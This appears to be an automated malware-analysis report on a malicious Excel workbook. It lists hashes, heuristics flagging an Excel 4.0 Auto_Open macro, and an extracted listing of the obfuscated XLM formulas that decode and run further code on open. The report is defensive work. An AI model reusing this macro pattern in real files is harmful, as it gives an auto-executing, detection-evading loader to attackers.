Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ce886dd43b7994aa…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:44:14 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: a7b0ac9d872ee115e1e7efc2cc6f6933 SHA-1: cb3de9bfc6cb639a7e6dc17816e7e93c9861f123 SHA-256: ce886dd43b7994aa6e235dfa4a501fd84222f4d79e6b225b55aae07ada5f4ec8
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6499 bytes
SHA-256: 1bc8e445cc83f5c8d95cd3fd5b34dc3b1be1f933330c46b6d634397b720d06ea
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  futvvbW
' 0018     21 LABEL : Cell Value, String Constant - aliInz len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D188 
' 0018     27 LABEL : Cell Value, String Constant - ExHkFOhDQhzX len=0 
' 0018     20 LABEL : Cell Value, String Constant - fXdRA len=0 
' 0018     26 LABEL : Cell Value, String Constant - gQXFaSGeqUl len=0 
' 0018     26 LABEL : Cell Value, String Constant - HoTollLVReM len=0 
' 0018     25 LABEL : Cell Value, String Constant - HZywkaFtLZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - iLcQe len=0 
' 0018     23 LABEL : Cell Value, String Constant - jGTelzuT len=0 
' 0018     21 LABEL : Cell Value, String Constant - kDOIVO len=0 
' 0018     23 LABEL : Cell Value, String Constant - kMqLdcwU len=0 
' 0018     22 LABEL : Cell Value, String Constant - LcAlCiD len=0 
' 0018     20 LABEL : Cell Value, String Constant - liuwb len=0 
' 0018     27 LABEL : Cell Value, String Constant - LSVhkFdtiNZJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - LWLKADv len=0 
' 0018     27 LABEL : Cell Value, String Constant - NyxTQuQTAIuj len=0 
' 0018     23 LABEL : Cell Value, String Constant - OfmFbTED len=0 
' 0018     21 LABEL : Cell Value, String Constant - SKezlp len=0 
' 0018     20 LABEL : Cell Value, String Constant - UEwRk len=0 
' 0018     26 LABEL : Cell Value, String Constant - vYKhooNOZSx len=0 
' 0018     25 LABEL : Cell Value, String Constant - xxnoRKsCqM len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  futvvbW,D93,"SET.NAME("LSVhkFdtiNZJ",VALUE("0"))",""
'  futvvbW,D95,"SET.NAME("liuwb",LSVhkFdtiNZJ)",""
'  futvvbW,D98,"SET.NAME("jGTelzuT",LSVhkFdtiNZJ)",""
'  futvvbW,D101,"SET.NAME("HoTollLVReM",COUNTA(iLcQe))",""
'  futvvbW,D104,"SET.NAME("OfmFbTED",COUNTA(gQXFaSGeqUl))",""
'  futvvbW,D108,[],""
'  futvvbW,D112,"SET.NAME("LcAlCiD","")",""
'  futvvbW,D114,"liuwb",""
'  futvvbW,D118,"SET.NAME("kMqLdcwU",HLOOKUP("*",iLcQe,liuwb,FALSE))",""
'  futvvbW,D123,"vYKhooNOZSx",""
'  futvvbW,D125,"SET.NAME("HZywkaFtLZ",LSVhkFdtiNZJ)",""
'  futvvbW,D128,[],""
'  futvvbW,D133,"HZywkaFtLZ",""
'  futvvbW,D136,"ExHkFOhDQhzX",""
'  futvvbW,D141,"LWLKADv",""
'  futvvbW,D146,"UEwRk",""
'  futvvbW,D151,"SET.NAME("xxnoRKsCqM",VALUE(HLOOKUP("*",gQXFaSGeqUl,UEwRk,FALSE)))",""
'  futvvbW,D153,"fXdRA",""
'  futvvbW,D158,"LcAlCiD",""
'  futvvbW,D163,"jGTelzuT",""
'  futvvbW,D166,NEXT(),""
'  futvvbW,D168,"NyxTQuQTAIuj",""
'  futvvbW,D170,"SET.NAME("f",INT(T(FORMULA(T(LcAlCiD)&"",""&T(NyxTQuQTAIuj)))))",""
'  futvvbW,D174,"aliInz",""
'  futvvbW,D178,NEXT(),""
'  futvvbW,D183,RETURN(),""
'  futvvbW,D214,"SET.NAME("SKezlp",D93)",""
'  futvvbW,D218,"iLcQe",""
'  futvvbW,D220,"SET.NAME("gQXFaSGeqUl",R84C15)",""
'  futvvbW,D222,"SET.NAME("aliInz",230)",""
'  futvvbW,D227,"SET.NAME("kDOIVO",4)",""
'  futvvbW,D229,SKezlp(),""
'  futvvbW,D230,HALT(),""

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